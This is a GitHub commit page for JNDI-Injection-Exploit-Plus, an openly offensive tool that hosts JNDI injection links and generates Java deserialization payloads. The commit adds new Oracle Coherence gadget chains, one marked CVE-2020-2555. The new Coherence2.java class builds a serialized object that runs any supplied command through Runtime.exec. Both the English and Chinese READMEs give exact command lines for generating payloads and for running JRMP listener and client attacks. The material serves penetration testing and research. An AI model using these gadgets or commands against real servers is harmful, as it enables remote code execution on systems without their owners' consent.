Skip to content

Commit ef77ebe

Browse files
cckuailongcckuailong
committed
add some coherence gadgets
1 parent e7ff665 commit ef77ebe

File tree

13 files changed

+380
-20
lines changed

13 files changed

+380
-20
lines changed

‎README.md‎

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
# JNDI-Injection-Exploit-Plus
22

3+
[中文 README](./README_zh.md)
4+
35
## Description
46

57
JNDI-Injection-Exploit-Plus is a tool for generating **workable JNDI links** and provide background services by starting RMI server,LDAP server and HTTP server.
@@ -33,7 +35,7 @@ Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have To
3335
Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
3436
Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath
3537

36-
#### 3. Deserailization Gadget (total: 51)
38+
#### 3. Deserailization Gadget (total: 54)
3739

3840
P.S. More Gadgets (:arrow_up: ) than ysoserial, welcome to PR more! ^_^
3941

@@ -44,7 +46,10 @@ BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5
4446
C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11
4547
Click1 |@artsploit |click-nodeps:2.3.0, javax.servlet-api:3.1.0
4648
Clojure |@JackOfMostTrades |clojure:1.8.0
47-
Coherence :arrow_up: |@cckuailong |coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
49+
Coherence1 :arrow_up: |@cckuailong |coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
50+
Coherence2 :arrow_up: |@cckuailong |coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
51+
Coherence3 :arrow_up: |@cckuailong |coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
52+
Coherence4 :arrow_up: |@cckuailong |coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
4853
CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2
4954
CommonsBeanutils2 :arrow_up: |@cckuailong |commons-beanutils:1.9.2
5055
CommonsCollections1 |@frohoff |commons-collections:3.1
@@ -104,7 +109,7 @@ You can generate the deserialization payloads with binary or base64 type of outp
104109
Run as
105110

106111
```shell
107-
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-A] [address]
112+
$ java -jar JNDI-Injection-Exploit-Plus-1.6-SNAPSHOT-all.jar [-C] [command] [-A] [address]
108113
```
109114

110115
where:
@@ -134,7 +139,7 @@ Points for attention:
134139
Run as
135140

136141
```shell
137-
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
142+
$ java -jar JNDI-Injection-Exploit-Plus-1.6-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
138143
```
139144

140145
where:
@@ -152,13 +157,13 @@ where:
152157
- JRMPListener
153158

154159
```shell
155-
java -cp JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
160+
java -cp JNDI-Injection-Exploit-Plus-1.6-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
156161
```
157162

158163
- JRMPClient
159164

160165
```shell
161-
java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
166+
java -jar JNDI-Injection-Exploit-Plus-1.6-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
162167
```
163168

164169
## Examples
@@ -170,7 +175,7 @@ Local demo:
170175
1. Start the tool like this:
171176

172177
```shell
173-
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
178+
$ java -jar JNDI-Injection-Exploit-Plus-1.6-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
174179
```
175180

176181
Screenshot:
@@ -201,7 +206,7 @@ For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuail
201206
### Deserialization Payloads
202207

203208
```shell
204-
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
209+
$ java -jar JNDI-Injection-Exploit-Plus-1.6-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
205210
```
206211

207212
Base64 Output Result:

‎README_zh.md‎

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
# JNDI-Injection-Exploit-Plus
2+
3+
[English README](./README.md)
4+
5+
JNDI-Injection-Exploit-Plus改写自welk1n大佬的JNDI-Injection-Exploit项目。
6+
7+
## 详细说明
8+
9+
### 是一款JNDI注入利用工具，可以生成JNDI链接并启动后端相关服务。
10+
11+
根据JNDI的三种触发点，提供3种JNDI利用方式
12+
13+
- 远程Reference链 （3种）
14+
- 本地Reference链 （4种）
15+
- 反序列化链（54种）
16+
17+
P.S. 具体利用链名称及依赖见 [表格](./README.md)
18+
19+
#### 使用方法
20+
21+
```
22+
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-A] [address]
23+
```
24+
25+
#### 参数说明
26+
27+
```
28+
-C - 要执行的命令.
29+
30+
(可选 , 默认命令 "open /Applications/Calculator.app")
31+
32+
-A - 运行此工具的主机IP地址.
33+
34+
(可选 , 默认是第一个网卡的地址)
35+
```
36+
37+
#### 示例
38+
39+
1. 运行工具
40+
41+
```
42+
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
43+
```
44+
45+
![](./img/1.png)
46+
47+
2. 触发JNDI注入
48+
49+
```
50+
class Test{
51+
public static void main(String[] args) throws Exception{
52+
InitialContext ctx = new InitialContext();
53+
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
54+
}
55+
}
56+
```
57+
58+
![](./img/2.png)
59+
60+
### 是一款反序列化Payload生成工具
61+
62+
包含50+ Gadgets链，比ysoserial还多出10+，后续会持续补充，欢迎大家一起来提交。
63+
64+
#### 使用方法
65+
66+
```
67+
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
68+
```
69+
70+
#### 参数说明
71+
72+
```
73+
-C - 要执行的命令.
74+
75+
(可选 , 默认命令 "open /Applications/Calculator.app")
76+
77+
-D - 要生成的反序列化链名字，见Github列表.
78+
79+
-O - (可选) 输出格式，base64或二进制, 默认是二进制
80+
```
81+
82+
#### 示例
83+
84+
1. 普通
85+
86+
```
87+
$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
88+
```
89+
90+
![](./img/3.png)
91+
92+
2. JRMP
93+
94+
- JRMPListener
95+
```
96+
java -cp JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
97+
```
98+
99+
- JRMPClient
100+
```
101+
java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
102+
```
103+
104+
## 总结
105+
106+
JNDI-Injection-Exploit-Plus 主要有JNDI注入和生成反序列化链 2个用途，其中包含的利用链更多。详情请移步项目地址：https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
107+
108+
喜欢的同学别忘了点个star。 ^_^
109+
110+
## 参考链接
111+
112+
- https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
113+
- https://github.com/welk1n/JNDI-Injection-Exploit
114+
- https://github.com/frohoff/ysoserial

‎libs/coherence-rest.jar‎

1.22 MB
Binary file not shown.

‎libs/coherence-web.jar‎

235 KB
Binary file not shown.

‎libs/coherence.jar‎

-47.2 KB
Binary file not shown.

‎pom.xml‎

Lines changed: 44 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>1.5-SNAPSHOT</version>
9+
<version>1.6-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -255,6 +255,16 @@
255255
<artifactId>coherence</artifactId>
256256
<version>12.2.1</version>
257257
</dependency>
258+
<dependency>
259+
<groupId>weblogic</groupId>
260+
<artifactId>coherence-rest</artifactId>
261+
<version>12.2.1</version>
262+
</dependency>
263+
<dependency>
264+
<groupId>weblogic</groupId>
265+
<artifactId>coherence-web</artifactId>
266+
<version>12.2.1</version>
267+
</dependency>
258268

259269
<!-- test -->
260270
<dependency>
@@ -362,7 +372,7 @@
362372
</goals>
363373
</execution>
364374
<execution>
365-
<id>install-coherence</id>
375+
<id>install-coherence1</id>
366376
<phase>clean</phase>
367377
<configuration>
368378
<file>${basedir}/libs/coherence.jar</file>
@@ -377,6 +387,38 @@
377387
<goal>install-file</goal>
378388
</goals>
379389
</execution>
390+
<execution>
391+
<id>install-coherence2</id>
392+
<phase>clean</phase>
393+
<configuration>
394+
<file>${basedir}/libs/coherence-rest.jar</file>
395+
<repositoryLayout>default</repositoryLayout>
396+
<groupId>weblogic</groupId>
397+
<artifactId>coherence-rest</artifactId>
398+
<version>12.2.1</version>
399+
<packaging>jar</packaging>
400+
<generatePom>true</generatePom>
401+
</configuration>
402+
<goals>
403+
<goal>install-file</goal>
404+
</goals>
405+
</execution>
406+
<execution>
407+
<id>install-coherence4</id>
408+
<phase>clean</phase>
409+
<configuration>
410+
<file>${basedir}/libs/coherence-web.jar</file>
411+
<repositoryLayout>default</repositoryLayout>
412+
<groupId>weblogic</groupId>
413+
<artifactId>coherence-web</artifactId>
414+
<version>12.2.1</version>
415+
<packaging>jar</packaging>
416+
<generatePom>true</generatePom>
417+
</configuration>
418+
<goals>
419+
<goal>install-file</goal>
420+
</goals>
421+
</execution>
380422
</executions>
381423
</plugin>
382424
</plugins>

‎src/main/java/jndi/CommonDeserial.java‎

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,6 @@
22

33
import payloads.*;
44

5-
import java.net.URL;
6-
75
public class CommonDeserial {
86
private String command;
97

@@ -66,8 +64,17 @@ public byte[] execByDeserialize(String gadgetType) throws Exception {
6664
case "Clojure":
6765
bytes = Clojure.getBytes(command);
6866
break;
69-
case "Coherence":
70-
bytes = Coherence.getBytes(command);
67+
case "Coherence1":
68+
bytes = Coherence1.getBytes(command);
69+
break;
70+
case "Coherence2":
71+
bytes = Coherence2.getBytes(command);
72+
break;
73+
case "Coherence3":
74+
bytes = Coherence3.getBytes(command);
75+
break;
76+
case "Coherence4":
77+
bytes = Coherence4.getBytes(command);
7178
break;
7279
case "FileUpload1":
7380
bytes = FileUpload1.getBytes(command);

src/main/java/payloads/Coherence.java renamed to src/main/java/payloads/Coherence1.java

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,8 @@
1111
import javax.management.BadAttributeValueExpException;
1212
import java.lang.reflect.Field;
1313

14+
// CVE-2020-2555
15+
1416
/*
1517
* gadget:
1618
* BadAttributeValueExpException.readObject()
@@ -24,7 +26,7 @@
2426

2527
@Dependencies({"coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0"})
2628
@Authors({ Authors.CCKUAILONG })
27-
public class Coherence extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
29+
public class Coherence1 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
2830

2931
public BadAttributeValueExpException getObject(final String command) throws Exception {
3032
ValueExtractor[] valueExtractors = new ValueExtractor[]{
@@ -53,11 +55,11 @@ public BadAttributeValueExpException getObject(final String command) throws Exce
5355
}
5456

5557
public static byte[] getBytes(final String command) throws Exception {
56-
return PayloadRunner.run(Coherence.class, command);
58+
return PayloadRunner.run(Coherence1.class, command);
5759
}
5860

5961
public static void main(final String command) throws Exception {
60-
PayloadRunner.run(Coherence.class, command);
62+
PayloadRunner.run(Coherence1.class, command);
6163
}
6264

6365
}

‎src/main/java/payloads/Coherence2.java‎

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
package payloads;
2+
3+
import com.tangosol.coherence.rest.util.extractor.MvelExtractor;
4+
import com.tangosol.util.filter.LimitFilter;
5+
import payloads.annotation.Authors;
6+
import payloads.annotation.Dependencies;
7+
import util.PayloadRunner;
8+
9+
import javax.management.BadAttributeValueExpException;
10+
import java.lang.reflect.Field;
11+
12+
/*
13+
* gadget:
14+
* BadAttributeValueExpException.readObject()
15+
* com.tangosol.util.filter.LimitFilter.toString()
16+
* com.tangosol.coherence.rest.util.extractor.MvelExtractor;
17+
*/
18+
19+
@Dependencies({"coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0"})
20+
@Authors({ Authors.CCKUAILONG })
21+
public class Coherence2 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
22+
23+
public BadAttributeValueExpException getObject(final String command) throws Exception {
24+
MvelExtractor mvelExtractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\""+command+"\")");
25+
//初始化LimitFiler类实例
26+
LimitFilter limitFilter = new LimitFilter();
27+
limitFilter.setTopAnchor(Runtime.class);
28+
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
29+
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
30+
m_comparator.setAccessible(true);
31+
m_comparator.set(limitFilter, mvelExtractor);
32+
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
33+
m_oAnchorTop.setAccessible(true);
34+
m_oAnchorTop.set(limitFilter, Runtime.class);
35+
//将limitFilter放入BadAttributeValueExpException的val属性中
36+
Field val = expException.getClass().getDeclaredField("val");
37+
val.setAccessible(true);
38+
val.set(expException, limitFilter);
39+
40+
return expException;
41+
}
42+
43+
public static byte[] getBytes(final String command) throws Exception {
44+
return PayloadRunner.run(Coherence2.class, command);
45+
}
46+
47+
public static void main(final String command) throws Exception {
48+
PayloadRunner.run(Coherence2.class, command);
49+
}
50+
51+
}

0 commit comments

Comments
 (0)